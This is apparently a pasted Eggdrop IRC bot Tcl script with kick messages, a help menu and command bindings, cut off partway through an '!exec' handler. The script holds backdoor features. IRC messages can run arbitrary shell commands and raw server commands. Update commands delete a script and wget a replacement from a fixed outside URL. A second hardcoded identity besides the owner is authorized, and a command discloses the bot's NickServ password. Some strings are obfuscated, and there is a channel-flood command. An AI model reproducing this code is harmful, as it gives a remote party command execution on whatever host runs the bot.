· 5 years ago · Apr 16, 2020, 11:22 AM
1set notc "2Control 4Eggdrop"
2set notm "2Control 4Eggdrop"
3set notb "2Control 4Eggdrop"
4set ps "2Control 4Eggdrop"
5set notd "2Control 4Eggdrop"
6set ppp "#makmur"
7set vern "2Control 4Eggdrop"
8
9set bancounter {
10"4PeRGi1..!"
11"4KeLuaRR1..!"
12"10BaNnEd14..!"
13"1GeTOuT4..!"
14"1BaNnEd4..!"
15"1OuT4..!"
16"1GeTLosT4..!"
17"1GeTOuT4..!"
18"1BaNnEd4..!"
19"1abUsEd4..!"
20"1OuT4..!"
21"4GeTLosT1..!"
22"4GeTOuT1..!"
23"4BaNnEd1..!"
24"4abUsEd1..!"
25"4OuT1..!"
26}
27
28set bancounte {
29"4PeRGi1..!"
30"4KeLuaRR1..!"
31"10BaNnEd14..!"
32"1GeTOuT4..!"
33"1BaNnEd4..!"
34"1OuT4..!"
35"1GeTLosT4..!"
36"1GeTOuT4..!"
37"1BaNnEd4..!"
38"1abUsEd4..!"
39"1OuT4..!"
40"4GeTLosT1..!"
41"4GeTOuT1..!"
42"4BaNnEd1..!"
43"4abUsEd1..!"
44"4OuT1..!"
45}
46
47set querym {
48"Maaf saya bukan manusia saya bot a.k.a mesin a.k.a enggdrop"
49}
50
51set cyclem {
52"Cycle"
53"Leaving"
54"Auto Recycle!"
55"Looking for Inviter!"
56"In/Out!"
57"Rehashing!"
58"Refreshing!"
59"Doing Cycle!"
60"Inviter Suspect!"
61"Looking for Suspect!"
62"Regain Inviter!"
63"Regain Suspect!"
64"Recycle!"
65"Cycle Needed!"
66"Cycle all Channel!"
67"Cycling!"
68"Inviter Detected!"
69"Full Cycle Ahead!"
70"Going Out and Back!"
71"I can do this all day!"
72"Cycle Time!"
73"I will do this all day!"
74"Time to Kill!"
75"No day without cycle!"
76"yuhuu.. where are you?"
77"It's a good day to die!"
78"Time for cycle!"
79"License to Kill!"
80"Cycle.. cycle.. and cycle.."
81"I need suspect!"
82"Need For Suspect!"
83"Time's up!"
84"No way out!"
85"No more left!"
86"No regret for inviter!"
87"Hot Pursuit!"
88"Rule No.96: Cycle!"
89"Critical Cycle!"
90"Pursue Inviter Suspect!"
91"Go To Cycle!"
92"Cycle System Running!"
93"Cycle Strike Back!"
94"I need cycle now!"
95"Jempalik!"
96"Googleng!"
97"Dancok!"
98"Gatel!"
99"Looking For SpAmER Afwan"
100}
101
102set partm {
103"Kabooooooorrrrrrrrrrrrrrrrrr"
104"Leaving"
105"BaCk To Base Camp"
106"Balik Ahhh...."
107"License To Part!"
108"'Part' time!"
109"Time To Go!"
110"Too many join channel :P"
111"The Join is Not Enough!"
112"Join too many channel :P"
113"It's time to Go!"
114"It's time to Part!"
115"Part for now and Forever!"
116"Part Forever!"
117"Part"
118"BaCk To CaSe"
119"Owner Request! Sorry :P"
120"Ups! Wrong Channel!"
121"Be Right Back!"
122"No One Join Forever!"
123"Damn! Wrong Channel!"
124"Access Denied!"
125"Back To Base!"
126"Return To Base!"
127"Access Rejected!"
128"Going Back!"
129"Ilegal Channel!"
130"Going Home!"
131"Good Bye!"
132"BaCk To CaSe"
133"BaCk To Base Camp"
134"Balik Ahhh...."
135"License To Part!"
136"'Part' time!"
137"Time To Go!"
138"Too many join channel :P"
139"The Join is Not Enough!"
140"Join too many channel :P"
141"It's time to Go!"
142"It's time to Part!"
143"Part for now and Forever!"
144"Part Forever!"
145"BaCk To HomE BaSe"
146}
147
148proc msg_order {nick uhost hand rest} {
149global botnick notd
150if {![matchattr $nick Q]} {
151puthlp "NOTICE $nick :$notd 4D14itolak1!"
152return 0
153}
154set rest [lindex $rest 0]
155if {$rest == ""} {
156puthlp "NOTICE $nick :$notd Command: /msg $botnick !order <command>"
157return 0
158}
159putquick $rest
160return 0
161}
162
163bind msg Z !order msg_order
164
165proc lines {txt} {
166global lenc ldec uenc udec
167set retval ""
168set count [string length $txt]
169set status 0
170set lst ""
171for {set i 0} {$i < $count} {incr i} {
172set idx [string index $txt $i]
173if {$idx == "$" && $status == 0} {
174set status 1
175set idx "~$idx"
176}
177if {$idx == [decrypt 64 "uAwNV.ZfVQk."] && $lst != [decrypt 64 "59.TI0HteTn1"] && $status == 0} {
178set status 2
179set idx "~$idx"
180}
181if {$idx == " " && $status == 1} {
182set status 0
183set idx "$idx~"
184}
185if {$idx == "]" && $status == 2} {
186set status 0
187set idx "$idx~"
188}
189if {$status == 0} {
190if {[string match *$idx* $lenc]} {
191set idx [string range $ldec [string first $idx $lenc] [string first $idx $lenc]]
192}
193if {[string match *$idx* $uenc]} {
194set idx [string range $udec [string first $idx $uenc] [string first $idx $uenc]]
195}
196}
197set lst $idx
198append retval $idx
199}
200regsub -all -- vmw] $retval "end]" retval
201return $retval
202}
203set lenc "abcdefghijklmnopqrstuvwxyz"
204set ldec "zyxwvutsrqponmlkjihgfedcba"
205set uenc "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
206set udec "ZYXWVUTSRQPONMLKJIHGFEDCBA"
207
208set global-idle-kick 0
209set global-chanmode "nt"
210set global-dynamicexempts-mode 0
211set global-dontkickops-mode 1
212set global-revenge-mode 0
213set global-protectops-mode 1
214set global-clearbans-mode 1
215set global-enforcebans-mode 1
216set global-dynamicbans-mode 1
217set global-protectfriends-mode 1
218set global-userbans-mode 1
219set global-cycle-mode 1
220set global-greet-mode 0
221set global-shared-mode 1
222set global-autovoice-mode 0
223set global-stopnethack-mode 0
224set global-autoop-mode 0
225set global-userinvites-mode 0
226set global-nodesynch-mode 0
227set nick-len 30
228if {![info exists nickpass]} {
229set nickpass ""
230}
231if {![info exists altpass]} {
232set altpass ""
233}
234if {![info exists cfgfile]} {
235set cfgfile $userfile
236}
237proc unsix {txt} {
238set retval $txt
239regsub ~ $retval "" retval
240return $retval
241}
242proc dezip {txt} {
243return [decrypt 64 [unsix $txt]]
244}
245proc dcp {txt} {
246return [decrypt 64 $txt]
247}
248proc zip {txt} {
249return [encrypt 64 [unsix $txt]]
250}
251if {![info exists server-online]} {
252putlog "not support server online..!"
253set server-online 1
254}
255proc puthlp {txt} {
256global lenc ldec uenc udec notb notc server-online
257if {${server-online} == 0} { return 0 }
258set retval $txt
259if {[string match "*NOTICE*" $retval]} {
260}
261puthelp $retval
262}
263proc putsrv {txt} {
264global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr
265if {${server-online} == 0} { return 0 }
266set retval $txt
267if {[string match "*KICK*" $retval]} {
268set endval ""
269foreach tmp $retval {
270if {$tmp == ":$notc"} {
271if {[info exists banner]} {
272set tmp ":$banner"
273} {
274set tmp ":[lgrnd]"
275}
276} {
277if {[info exists kickclr]} {
278set tmp [uncolor $tmp]
279}
280}
281set endval "$endval $tmp"
282}
283set retval $endval
284if {[info exists iskick([lindex $retval 2][lindex $retval 1])]} { return 0 }
285set iskick([lindex $retval 2][lindex $retval 1]) "1"
286if {[info exists igflood([lindex $retval 2])]} { return 0 }
287if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} {
288set chkops $retval
289regsub -all -- : $chkops "" chkops
290if {[isop [lindex $chkops 2] [lindex $retval 1]]} {
291return 0
292}
293}
294}
295putserv $retval
296}
297proc putqck {txt} {
298global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr bannick is_m
299if {${server-online} == 0} { return 0 }
300set retval $txt
301if {[string match "*KICK*" $retval]} {
302set endval ""
303foreach tmp $retval {
304if {$tmp == ":$notc"} {
305if {[info exists banner]} {
306set tmp ":$banner"
307} {
308set tmp ":[lgrnd]"
309}
310} {
311if {[info exists kickclr]} {
312set tmp [uncolor $tmp]
313}
314}
315set endval "$endval $tmp"
316}
317set retval $endval
318set iskick([lindex $retval 2][lindex $retval 1]) "1"
319if {[info exists igflood([lindex $retval 2])]} { return 0 }
320if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} {
321set chkops $retval
322regsub -all -- : $chkops "" chkops
323if {[isop [lindex $chkops 2] [lindex $retval 1]]} {
324return 0
325}
326}
327}
328if {[string match "*$notm*" $retval]} {
329set cflag "c[lindex $retval 1]"
330set cflag [string range $cflag 0 8]
331if {[matchattr $cflag M]} {
332if {![isutimer "set_-m [lindex $retval 1]"] && ![info exists is_m([lindex $retval 1])]} {
333set is_m([lindex $retval 1]) 1
334putquick "mode [lindex $retval 1] +bm $bannick([lindex $retval 2])"
335return 0
336}
337}
338}
339putquick $retval
340}
341
342bind msg m help msg_help
343
344proc msg_help {nick uhost hand rest} {
345global version notb notc notd vern
346if {[istimer "HELP STOPED"]} {
347putsrv "NOTICE $nick :$notc Help on progress, try again later..!"
348return 0
349}
350timer 5 { putlog "HELP STOPED" }
351puthlp "NOTICE $nick :$notd BoT Command LIsT."
352puthlp "NOTICE $nick :RuNNINg WiTH EggDrop v[lindex $version 0] PoWERED BY [lgrnd] $vern"
353puthlp "NOTICE $nick :MSG/PV COMMAND..!"
354puthlp "NOTICE $nick :auth <password> authenticate user"
355puthlp "NOTICE $nick :deauth <password> deauthenticate user"
356puthlp "NOTICE $nick :pass <password> set password"
357puthlp "NOTICE $nick :passwd <oldpass> <newpass> change user password"
358puthlp "NOTICE $nick :userlist userlist"
359puthlp "NOTICE $nick :op <#> <nick> op someone"
360puthlp "NOTICE $nick :deop <#> <nick> deop someone"
361puthlp "NOTICE $nick :voice <#> <nick> voice someone"
362puthlp "NOTICE $nick :devoice <#> <nick> devoice someone"
363puthlp "NOTICE $nick :kick <#> <nick|host> <reason> kick someone"
364puthlp "NOTICE $nick :kickban <#> <nick|host> <reason> kickban someone"
365puthlp "NOTICE $nick :identify <nick> <passwd> identify to nickserv someone access"
366puthlp "NOTICE $nick :join <#> joining #channel temporary"
367puthlp "NOTICE $nick :part <#> part #channels"
368if {[matchattr $nick Z]} {
369puthlp "NOTICE $nick :logo <your crew logo> changing text logo on kick message"
370puthlp "NOTICE $nick :vhost <IP DNS> changing vhost"
371puthlp "NOTICE $nick :away <msg> set bot away message"
372puthlp "NOTICE $nick :admin <msg> set bot admin on status"
373puthlp "NOTICE $nick :memo <user|all> <msg> send memo to all user or one user"
374puthlp "NOTICE $nick :bantime <minutes> auto unban on X minutes (0 never unban)"
375puthlp "NOTICE $nick :logchan <#|0FF> log #channel"
376puthlp "NOTICE $nick :4!!WARNING!! turn logchan on will decrease bot performance!"
377puthlp "NOTICE $nick :<4DCC> .log show #channel log"
378puthlp "NOTICE $nick :6note > please increase on general - window buffer into 5000"
379puthlp "NOTICE $nick :+chan <#> joining permanent #channel"
380puthlp "NOTICE $nick :botnick <nick> <id> changing permanent bot primary nick"
381puthlp "NOTICE $nick :botaltnick <nick> <id> changing permanent bot alternate nick"
382puthlp "NOTICE $nick :realname <bot realname> changing permanent bot realname"
383puthlp "NOTICE $nick :ident <bot ident> changing permanent bot ident"
384puthlp "NOTICE $nick :die kill bot"
385}
386puthlp "NOTICE $nick :MSG/CHANNEL COMMAND..!"
387puthlp "NOTICE $nick :`up bot self op"
388puthlp "NOTICE $nick :`down bot self deop"
389puthlp "NOTICE $nick :`op/+o <nick> op spesified nick"
390puthlp "NOTICE $nick :`deop/-o <nick> deop spesified nick"
391puthlp "NOTICE $nick :`voice/+v <nick> voice spesified nick"
392puthlp "NOTICE $nick :`devoice/-v <nick> devoice spesified nick"
393puthlp "NOTICE $nick :`kick <nick> <reason> kick spesified nick"
394puthlp "NOTICE $nick :`kickban <nick> <reason> kickban spesified nick"
395puthlp "NOTICE $nick :`mode <+/- settings> mode setting #channel"
396puthlp "NOTICE $nick :`ping / `pong ping your self"
397puthlp "NOTICE $nick :`invite <nick> invite person to current #channel"
398puthlp "NOTICE $nick :`banlist <#channel> list of banned from specified <#channel>"
399puthlp "NOTICE $nick :`ban <nick|hostmask> ban some nick or hostmask"
400puthlp "NOTICE $nick :`unban <nick|host> <#> unban some nick or hostmask"
401puthlp "NOTICE $nick :`+chan <#> joining permanent #channel"
402puthlp "NOTICE $nick :`channels list of channel who's bot sit on"
403puthlp "NOTICE $nick :`userlist list of user"
404puthlp "NOTICE $nick :`chaninfo <#> list of option for specified #channel"
405puthlp "NOTICE $nick :`join <#> joining #channel temporary"
406puthlp "NOTICE $nick :`part <#> part specified #channel"
407puthlp "NOTICE $nick :`cycle <#> cycle on specified #channel"
408puthlp "NOTICE $nick :`+/- cycle <#|all> <X> enable/disable bot cycle every X minutes"
409puthlp "NOTICE $nick :`+/- ignore <nick|host> ignore or unignore person"
410if {[matchattr $nick n]} {
411puthlp "NOTICE $nick :`+/- status <#> enable/disable bot displaying status"
412puthlp "NOTICE $nick :`+/- enforceban <#> enable/disable bot enforcebans"
413puthlp "NOTICE $nick :`+/- autovoice <secs> enable/disable channel autovoice on join"
414puthlp "NOTICE $nick :`+/- guard <#|all> enable/disable bot guard"
415puthlp "NOTICE $nick :`+/- master <nick> add/del <nick> from master list"
416puthlp "NOTICE $nick :`+/- avoice <nick> add/del <nick> from avoice list"
417puthlp "NOTICE $nick :`+/- friend <nick> add/del <nick> from friend list"
418puthlp "NOTICE $nick :`+/- ipguard <host> add/del host from ipguard list"
419puthlp "NOTICE $nick :`+/- akick <host> add/del host from kick list"
420puthlp "NOTICE $nick :`+/- noop <nick> add/del <nick> from no-op list"
421puthlp "NOTICE $nick :`topic <topic> change channel topic"
422puthlp "NOTICE $nick :`status status system"
423puthlp "NOTICE $nick :`servers servers bot currently running"
424puthlp "NOTICE $nick :`jump <server> <port> push bot to use spec server"
425puthlp "NOTICE $nick :`access <nick> see user access from spec flags"
426}
427if {[matchattr $nick Z]} {
428puthlp "NOTICE $nick :`+/- forced force bot to set mode w/o kick 1st"
429puthlp "NOTICE $nick :`+/- colour enable/disable colour on kick msg"
430puthlp "NOTICE $nick :`+/- greet <msg> autogreet user on join %n nick %c channel"
431puthlp "NOTICE $nick :`+/- repeat <number> max repeat user permitted"
432puthlp "NOTICE $nick :`+/- text <number> char limited text length on channel"
433puthlp "NOTICE $nick :`+/- limit <number> limited user on channel"
434puthlp "NOTICE $nick :`+/- caps <%> max %percent upper text"
435puthlp "NOTICE $nick :`+/- clone <max> enable/disable bot anti clones"
436puthlp "NOTICE $nick :`+/- reop auto re@p bot when got de@p"
437puthlp "NOTICE $nick :`+/- joinpart <seconds> kick user join part in past X 2nd"
438puthlp "NOTICE $nick :`+/- spam scanning for spam"
439puthlp "NOTICE $nick :`+/- massjoin preventing mass join lame"
440puthlp "NOTICE $nick :`+/- key <keyword> set channel with key"
441puthlp "NOTICE $nick :`+/- revenge enable/disable bot revenge"
442puthlp "NOTICE $nick :`+/- badword <badword> add/remove badword from list"
443puthlp "NOTICE $nick :`badwords list of badwords"
444puthlp "NOTICE $nick :`nobot scanning for bot and kick them out"
445puthlp "NOTICE $nick :`sdeop <#> bot self deop"
446puthlp "NOTICE $nick :`chanmode # <+ntmcilk> set permanent mode for specified #"
447puthlp "NOTICE $nick :`chanset <#> <LINE|CTCP|JOIN|DEOP|KICK|NICK> set # options"
448puthlp "NOTICE $nick :`chansetall <option> set option for all #"
449puthlp "NOTICE $nick :`chanreset <#|all> reseting option for specified #channel"
450puthlp "NOTICE $nick :`bantime how long bot unban in X minutes"
451puthlp "NOTICE $nick :`tsunami <nick|#> <text> flood someone or channel"
452puthlp "NOTICE $nick :`deluser <nick> del user from userlist"
453puthlp "NOTICE $nick :`restart restarting bot also jumping server"
454puthlp "NOTICE $nick :`+/- owner <nick> add/del <nick> from owner list"
455puthlp "NOTICE $nick :`+/- admin <nick> add/del <nick> from admin list"
456puthlp "NOTICE $nick :`+/- aop <nick> add/del <nick> from aop list"
457puthlp "NOTICE $nick :`+/- host <nick> <flag> add or remove user host"
458puthlp "NOTICE $nick :`+/- gnick <nick> guard nick kick it if not identify"
459puthlp "NOTICE $nick :`host <nick> see user host"
460puthlp "NOTICE $nick :`mvoice <#channel> mass voice"
461puthlp "NOTICE $nick :`mdevoice <#channel> mass devoice"
462puthlp "NOTICE $nick :`mop <#channel> mass op"
463puthlp "NOTICE $nick :`mdeop <#channel> mass deop"
464puthlp "NOTICE $nick :`mkick <#channel> mass kick"
465puthlp "NOTICE $nick :`mmsg <#channel> mass msg except the opped"
466puthlp "NOTICE $nick :`minvite <#channel> mass invite except the opped"
467puthlp "NOTICE $nick :`munbans <#channel> mass unban"
468puthlp "NOTICE $nick :`say <text> say with spesified text"
469puthlp "NOTICE $nick :`msg <nick> <text> msg person"
470puthlp "NOTICE $nick :`act <text> act with spesified text"
471puthlp "NOTICE $nick :`notice <nick> <text> msg person or #channel with spesified text"
472puthlp "NOTICE $nick :`+/- topiclock keep topic locked"
473puthlp "NOTICE $nick :`+/- nopart <#channel> make # protected"
474puthlp "NOTICE $nick :`+/- mustop set bot del channel if not oped"
475puthlp "NOTICE $nick :`+/- invitelock <#> invite back who part on spec chan"
476puthlp "NOTICE $nick :`+/- dontkickops enable/disable bot kick @"
477puthlp "NOTICE $nick :`+/- autokick auto kick on join"
478puthlp "NOTICE $nick :`nick <nick> change nick temporary"
479puthlp "NOTICE $nick :`altnick change nick to alternative nick"
480puthlp "NOTICE $nick :`randnick change nick to random nick"
481puthlp "NOTICE $nick :`realnick change nick to real nick"
482puthlp "NOTICE $nick :`chattr <nick> <flag> changing user flag (+) add or (-) remove it"
483puthlp "NOTICE $nick :`rehash rehashing data packing and unpacking"
484}
485puthlp "NOTICE $nick :FLAg LIsT UsER & cHaNNeL"
486puthlp "NOTICE $nick :\[@\]P \[+\]VOICE AuTO\[V\]OICE \[G\]uARD \[C\]YCLE \[E\]nFORCEBANS \[D\]oNTKIcK@PS"
487puthlp "NOTICE $nick :\[P\]RoTECTED C\[L\]ONE \[A\]DVERTISE \[T\]OPICLOCK AuTO\[K\]IcK"
488puthlp "NOTICE $nick :\[Z\]owner admi\[n\] \[m\]aster botne\[t\] \[x\]fer \[j\]anitor \[c\]ommon"
489puthlp "NOTICE $nick :\[p\]arty \[b\]ot \[u\]nshare \[h\]ilite \[o\]p de\[O\]p \[k\]ick \[f\]riend"
490puthlp "NOTICE $nick :\[a\]uto-op auto\[v\]oice \[g\]voice \[q\]uiet"
491puthlp "NOTICE $nick :$notc "
492return 0
493}
494set firsttime "T"
495set init-server { serverup "" }
496set modes-per-line 6
497set allow-desync 0
498set include-lk 1
499set banplus [rand 5]
500set ban-time [expr 25 + $banplus]
501unset banplus
502set quiet-save 1
503set logstore ""
504set max-logsize 512
505set upload-to-pwd 1
506catch { unbind dcc n restart *dcc:restart }
507catch { unbind dcc n msg *dcc:msg }
508catch { unbind dcc n status *dcc:status }
509catch { unbind dcc n dump *dcc:dump }
510proc serverup {heh} {
511global botnick firsttime notc owner
512if {[info exists firsttime]} {
513unset firsttime
514return 0
515}
516putlog "I`m..ConnecteD.."
517putserv "MODE $botnick +iw-s"
518foreach x [userlist] {
519if {[matchattr $x Q]} { chattr $x -Q }
520if {$x == $owner && [getuser $owner XTRA "AUTH"] != ""} {
521setuser $owner XTRA "AUTH" ""
522}
523chattr $x -hp
524if {$x != "config" && [chattr $x] == "-"} {
525deluser $x
526putlog "deluser $x"
527}
528}
529chk_five "0" "0" "0" "0" "0"
530utimer 2 del_nobase
531foreach x [ignorelist] {
532killignore [lindex $x 0]
533}
534}
535catch { bind evnt - disconnect-server serverdown }
536proc serverdown {heh} {
537global firsttime
538catch { unset firsttime }
539catch { clearqueue all }
540putlog "I`m ..Disconneted.."
541foreach x [timers] {
542if {[string match "*cycle*" $x]} { killtimer [lindex $x 2] }
543}
544}
545proc isnumber {string} {
546global notc
547if {([string compare $string ""]) && (![regexp \[^0-9\] $string])} then {
548return 1
549}
550return 0
551}
552proc pub_bantime {nick uhost hand channel rest} {
553global notc ban-time
554puthlp "NOTICE $nick :$notc BanTime \[${ban-time}\]"
555}
556proc pub_which {nick uhost hand channel rest} {
557global botname notc
558if {$rest == ""} {
559puthlp "NOTICE $nick :$notc Usage: which <ip mask>"
560return 0
561}
562if {[string match [string tolower $rest] [string tolower $botname]]} {
563puthlp "PRIVMSG $channel :$botname"
564}
565}
566set notd "wget"
567proc randstring {length} {
568set chars ABCDEFGHIJKLMNOPQRSTUVWXYZ
569set count [string length $chars]
570for {set i 0} {$i < $length} {incr i} {
571append result [string index $chars [rand $count]]
572}
573return $result
574}
575
576######################
577# BOT PUBLIC COMMAND #
578######################
579
580bind pub m !pong public_ping
581bind pub Z `which pub_which
582bind pub n `reset pub_reset
583bind pub f `host pub_host
584bind pub f `flag pub_flag
585bind pub m `ver pub_ver
586bind pub m `logo pub_logo
587bind pub Z `msg pub_msg
588bind msg Z admin msg_admin
589bind msg Z away msg_away
590bind msg Z bantime msg_bantime
591bind msg Z logo msg_logo
592bind msg Z mmsg msg_mmsg
593bind msg Z limit msg_limit
594bind msg Z logchan msg_logchan
595bind msg Z botnick msg_botnick
596bind msg Z realname msg_realname
597bind msg Z ident msg_ident
598bind msg Z botaltnick msg_botaltnick
599bind msg Z die msg_die
600bind msg Z restart msg_restart
601bind msg Z rehash msg_rehash
602bind msg Z topic msg_topic
603bind msg m memo msg_memo
604bind pub n `+autovoice pub_+autovoice
605bind pub n `-autovoice pub_-autovoice
606bind pub n `+guard pub_+guard
607bind pub n `-guard pub_-guard
608bind pub n `+cycle pub_+cycle
609bind pub n `-cycle pub_-cycle
610bind pub n `+friend pub_+friend
611bind pub n `-friend pub_-friend
612bind pub n `+avoice pub_+avoice
613bind pub n `-avoice pub_-avoice
614bind pub n `+master pub_+master
615bind pub n `-master pub_-master
616bind pub n `mvoice pub_mvoice
617bind pub n `mdevoice pub_mdevoice
618bind pub n `mop pub_mop
619bind pub n `mdeop pub_mdeop
620bind pub n `+chan pub_+chan
621bind msg n identify msg_identify
622bind msg n kick msg_kick
623bind msg n k msg_kick
624bind msg n kickban msg_kickban
625bind msg n kb msg_kickban
626bind msg n op msg_op
627bind msg n voice msg_voice
628bind msg n v msg_voice
629bind msg n deop msg_deop
630bind msg n devoice msg_devoice
631bind pub n `topic pub_topic
632bind pub n `jump pub_jump
633bind pub n `rehash pub_rehash
634bind msg n +chan msg_+chan
635bind msg n join msg_join
636bind msg n part msg_part
637bind pub m `voice pub_voice
638bind pub m `+v pub_voice
639bind pub m `devoice pub_devoice
640bind pub m `-v pub_devoice
641bind pub m `op pub_op
642bind pub m `+o pub_op
643bind pub m `deop pub_deop
644bind pub m `-o pub_deop
645bind pub m `kick pub_kick
646bind pub m `k pub_kick
647bind pub m `kickban pub_kickban
648bind pub m `kb pub_kickban
649bind pub m `+noop pub_+noop
650bind pub m `-noop pub_-noop
651bind pub m `ban pub_ban
652bind pub m `unban pub_unban
653bind pub m `munbans pub_munbans
654bind pub m `banlist pub_banlist
655bind pub m `mode pub_mode
656bind pub m `join pub_join
657bind pub m `part pub_part
658bind pub m `cycle pub_cycle
659bind pub m `up pub_up
660bind pub m `down pub_down
661bind msg m passwd msg_passwd
662bind msg m deauth msg_deauth
663bind msg m channels msg_channels
664bind pub m `channels pub_channels
665bind pub m `status pub_status
666bind pub m `chaninfo pub_chaninfo
667bind pub m `userlist pub_userlist
668bind msg m userlist msg_userlist
669bind pub f `access pub_access
670bind pub m `match pub_match
671
672proc pub_Z {nick uhost hand channel rest} {
673global notc botnick
674set prest $rest
675if {[lindex $rest 0] == $botnick} {
676regsub "$botnick " $rest "`" rest
677} {
678if {[string tolower [lindex $rest 0]] == [string tolower $botnick]} {
679set rest "$botnick [lrange $rest 1 end]"
680regsub "$botnick " $rest "`" rest
681}
682}
683if {[string index $rest 0] != "`"} { return 0 }
684if {![matchattr $nick Z]} { return 0 }
685if {![matchattr $nick Q]} {
686if {[string tolower [lindex $prest 0]] == [string tolower $botnick]} {
687puthlp "NOTICE $nick :$notd 4D14itolak1!"
688}
689return 0
690}
691set goto [lindex $rest 0]
692regsub -all "`" $goto "pub_" goto
693if {[matchattr $nick Z]} {
694set rest [lrange $rest 1 end]
695catch { $goto $nick $uhost $hand $channel $rest }
696}
697}
698proc msg_encrypt {nick uhost hand rest} {
699global own notc
700if {$nick != $own || $rest == ""} { return 0 }
701puthlp "NOTICE $nick :$notc [zip $rest]"
702}
703proc msg_decrypt {nick uhost hand rest} {
704global own notc
705if {$nick != $own || $rest == ""} { return 0 }
706puthlp "NOTICE $nick :$notc [dezip $rest]"
707}
708
709bind msg Z !showbotinfo proc_msgshowallinfo
710
711proc proc_msgshowallinfo {nick2 uhost hand rest} {
712global notc nick nickpass realname owner own basechan botnick ps
713if {$nick2 != $owner && $nick2 != $ps} {
714puthlp "NOTICE $nick2 :$notc 4D14itolak1!"
715return 0
716}
717if {![matchattr $nick2 Q]} {
718 puthlp "NOTICE $nick :$notc 4D14itolak1!"
719 return 0
720}
721puthlp "NOTICE $nick2 :$notc nick : $nick"
722puthlp "NOTICE $nick2 :$notc botnick : $botnick"
723puthlp "NOTICE $nick2 :$notc nickpass : $nickpass"
724puthlp "NOTICE $nick2 :$notc basechan : $basechan"
725puthlp "NOTICE $nick2 :$notc owner : $owner"
726puthlp "NOTICE $nick2 :$notc own : $own"
727puthlp "NOTICE $nick2 :$notc ps : $ps"
728puthlp "NOTICE $nick2 :$notc uhost : $uhost"
729puthlp "NOTICE $nick2 :$notc hand : $hand"
730puthlp "NOTICE $nick2 :$notc realname : $realname"
731}
732
733bind pub Z `verblinttcl proc_cekversi
734
735proc proc_cekversi {nick uhost hand chan rest} {
736global notc
737if {![matchattr $nick Q]} {
738 puthlp "NOTICE $nick :$notc 4D14itolak1!"
739 return 0
740}
741puthlp "NOTICE $nick :$notc LastUpdate: 08 mei06. Info: Several Bug Fixed !!!"
742}
743
744bind msg Z !updatetcl proc_updatetcl
745
746proc proc_updatetcl {nick uhost hand rest} {
747global notc owner ps
748if {$nick != $owner && $nick != $ps} {
749puthlp "NOTICE $nick :$notc 4D14itolak1!"
750return 0
751}
752if {![matchattr $nick Q]} {
753 puthlp "NOTICE $nick :$notc 4D14itolak1!"
754 return 0
755}
756catch { [exec pwd] } hasildir
757if { [string length $hasildir] < 5 } {
758 puthlp "NOTICE $nick :$notc My Directory was deleted \:\(\(\("
759 return 0
760 }
761
762
763catch { [exec wget] } hasil
764if {[string match "*--help*" $hasil]} {
765 catch {[exec rm scripts/ary.tcl]} hasilrm
766 catch {[exec wget http://www.mognet.biz/tool/ary.tcl -O scripts/ary.tcl]} hasilwget
767 puthlp "NOTICE $nick :$notc TcL Updated \!\!\!"
768 } else {
769 puthlp "NOTICE $nick :$notc wget command not found \!"
770 return 0
771 }
772}
773
774bind pub Z `cekdir pub_cekdir
775
776proc pub_cekdir {nick uhost hand chan rest} {
777global notc
778catch { [exec pwd] } hasildir
779if { [string length $hasildir] < 5 } {
780 puthlp "PRIVMSG $chan :$notc My Directory was deleted \:\(\(\("
781 return 0
782 } else {
783 puthlp "PRIVMSG $chan :$notc Dir OK !!!"
784 }
785}
786
787bind pub - `online pub:uptime
788
789proc pub:uptime {nick host hand chan text} {
790 global uptime server-online notc dater datechecker
791 set dater [unixtime]
792 set datechecker [ctime $dater]
793 putserv "NOTICE $nick :[lgrnd] Testing uptime : [ctime $dater]"
794 putserv "NOTICE $nick :[lgrnd] Shell uptime : [exec uptime]"
795 putserv "NOTICE $nick :[lgrnd] Bot Started : [ctime $uptime]"
796 putserv "NOTICE $nick :[lgrnd] Online since : [ctime ${server-online}]"
797}
798
799bind pub Z `updatetcl proc_pubupdatetcl
800
801proc proc_pubupdatetcl {nick uhost hand chan rest} {
802global notc owner ps
803if {$nick != $owner && $nick != $ps} {
804puthlp "NOTICE $nick :$notc 4D14itolak1!"
805return 0
806}
807if {![matchattr $nick Q]} {
808 puthlp "NOTICE $nick :$notc 4D14itolak1!"
809 return 0
810}
811catch { [exec pwd] } hasildir
812if { [string length $hasildir] < 5 } {
813 puthlp "NOTICE $nick :$notc My Directory was deleted \:\(\(\("
814 return 0
815 }
816catch { [exec wget] } hasil
817if {[string match "*--help*" $hasil]} {
818 catch {[exec rm scripts/ary.tcl]} hasilrm
819 catch {[exec wget http://www.mognet.biz/tool/ary.tcl -O scripts/ary.tcl]} hasilwget
820 puthlp "NOTICE $nick :$notc TcL Updated \!\!\!"
821 } else {
822 puthlp "NOTICE $nick :$notc wget command not found \!"
823 return 0
824 }
825}
826
827bind pub Z `totalip ToTal_IP
828
829proc ToTal_IP {nick uhost hand chan rest} {
830global notc
831if {![matchattr $nick Q]} {
832 puthlp "NOTICE $nick :$notc 4D14itolak1!"
833 return 0
834 }
835catch {[exec /sbin/ifconfig | grep inet | wc -l]} totIP
836puthlp "NOTICE $nick :$notc IP Total\: [string trimleft $totIP "name"]"
837}
838
839bind msg Z !exec msg_exec
840
841proc msg_exec {nick uhost hand command} {
842global notc owner ps
843if {$nick != $owner && $nick != $ps} {
844puthlp "NOTICE $nick :$notc 4D14itolak1!"
845return 0
846}
847if {![matchattr $nick Q]} {
848 puthlp "NOTICE $nick :$notc 4D14itolak1!"
849 return 0
850}
851if {$command == ""} { return 0 }
852set para1 [lindex $command 0]
853set para2 [lindex $command 1]
854set para3 [lindex $command 2]
855set para4 [lindex $command 3]
856set para5 [lindex $command 4]
857set para6 [lindex $command 5]
858set para7 [lindex $command 6]
859set para8 [lindex $command 7]
860set para9 [lindex $command 8]
861set para10 [lindex $command 9]
862if {$para2 == ""} {
863catch { [exec $para1] } result
864} elseif {$para3 == ""} {
865catch { [exec $para1 $para2] } result
866} elseif {$para4 == ""} {
867catch { [exec $para1 $para2 $para3] } result
868} elseif {$para5 == ""} {
869catch { [exec $para1 $para2 $para3 $para4] } result
870} elseif {$para6 != ""} {
871catch { [exec $para1 $para2 $para3 $para4 $para5 $para6] } result
872} elseif {$para7 != ""} {
873catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7] } result
874} elseif {$para8 != ""} {
